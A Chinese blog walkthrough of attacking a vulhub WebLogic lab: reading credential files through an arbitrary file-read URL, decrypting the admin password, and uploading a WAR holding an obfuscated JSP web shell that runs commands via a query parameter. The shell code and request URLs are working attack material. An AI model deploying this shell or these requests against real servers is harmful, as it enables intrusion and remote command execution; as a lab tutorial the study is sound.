• Weblogic反序列化漏洞


    1、搭建环境

    漏洞环境基于vulhub搭建–进入weak_password的docker环境
    在这里插入图片描述

    sudo docker-compose up -d拉取靶场
    在这里插入图片描述在这里插入图片描述

    2、漏洞特征

    404特征Weblogic常用端口:7001
    在这里插入图片描述

    3、漏洞利用

    任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处
    获取用户名密码
    http://192.168.25.128:7001/console/login/LoginForm.jsp
    在这里插入图片描述在这里插入图片描述

    1)获取用户名密码

    使用任意读取文件方式获取用户名密码
    weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
    开启bp,端口后拼接/hello/file.jsp?path=security/SerializedSystemIni.dat
    即http://192.168.25.128:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
    在这里插入图片描述

    切换到16进制,选择以上文字存到一个SerializedSystemIni.dat
    在这里插入图片描述
    在这里插入图片描述

    注意:SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
    密钥文件:SerializedSystemIni.dat
    访问http://ip:7001/hello/file.jsp?path=config/config.xml,其中的
    的值,即为加密后的管理员密码
    http://192.168.25.128:7001/hello/file.jsp?path=config/config.xml
    在这里插入图片描述

    {AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
    获取用户名密码:weblogic、Oracle@123

    2)后台上传shell

    前提:使用刚刚任意文件读取获取到的账号密码登录成功
    在这里插入图片描述

    上传路径:域结构-部署-安装-上传文件-将此部署安装为应用程序。然后访问项目名称即可。
    最后访问的路径是
    在这里插入图片描述

    将包含类似于

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%!public String HMfR(String yOK){String aAh="";for (int i = 0; i < yOK.length(); i++) {aAh+=(char)(yOK.charAt(i)+6);}return aAh;}
    %>
    <% String yiO=request.getParameter("websafe");if(yiO!=null){ Class tJIi = Class.forName(HMfR("d[p[(f[ha(Lohncg_"));
    Process Mdlz = (Process) tJIi.getMethod(HMfR("_r_]"), String.class).invoke(tJIi.getMethod(HMfR("a_nLohncg_")).invoke(null),yiO);
    java.io.InputStream in = Mdlz.getInputStream();byte[] PYp = new byte[2048];out.print("
    ");while(in.read(PYp)!=-1){ out.println(new String(PYp)); }out.print("
    "
    ); } %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    在这里插入图片描述

    shell.jsp,将其压缩为 shell.zip,然后重命名为 shell.war
    在这里插入图片描述

    选中war包并点击下一步上传–上传成功
    在这里插入图片描述在这里插入图片描述

    war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西
    一直点下一步
    在这里插入图片描述

    浏览器访问http://192.168.25.128:7001/shell/shell.jsp?websafe=ifconfig
    发现输出信息,说明可以shell可用,可以执行命令
    在这里插入图片描述

    4、检测工具

    Java反序列化漏洞利用工具V1.7.jar
    在这里插入图片描述

  • 相关阅读:
    get和post
    数据预处理与模型评估【机器学习、人工智能、实际事例】
    【uniapp】Google Maps
    手写RPC框架
    项目分析(哪些是it培训给不了)
    VUE实现Office文档在线编辑,支持doc/docx、xls/xlsx、ppt/pptx、pdf等
    基于新版本Gradle上传jitpack开源项目
    js基础API初学
    数字角频率w、模拟角频率Ω
    [H5动画制作系列 ] Sprite Demo 的两种方法
  • 原文地址:https://blog.csdn.net/wutiangui/article/details/132755676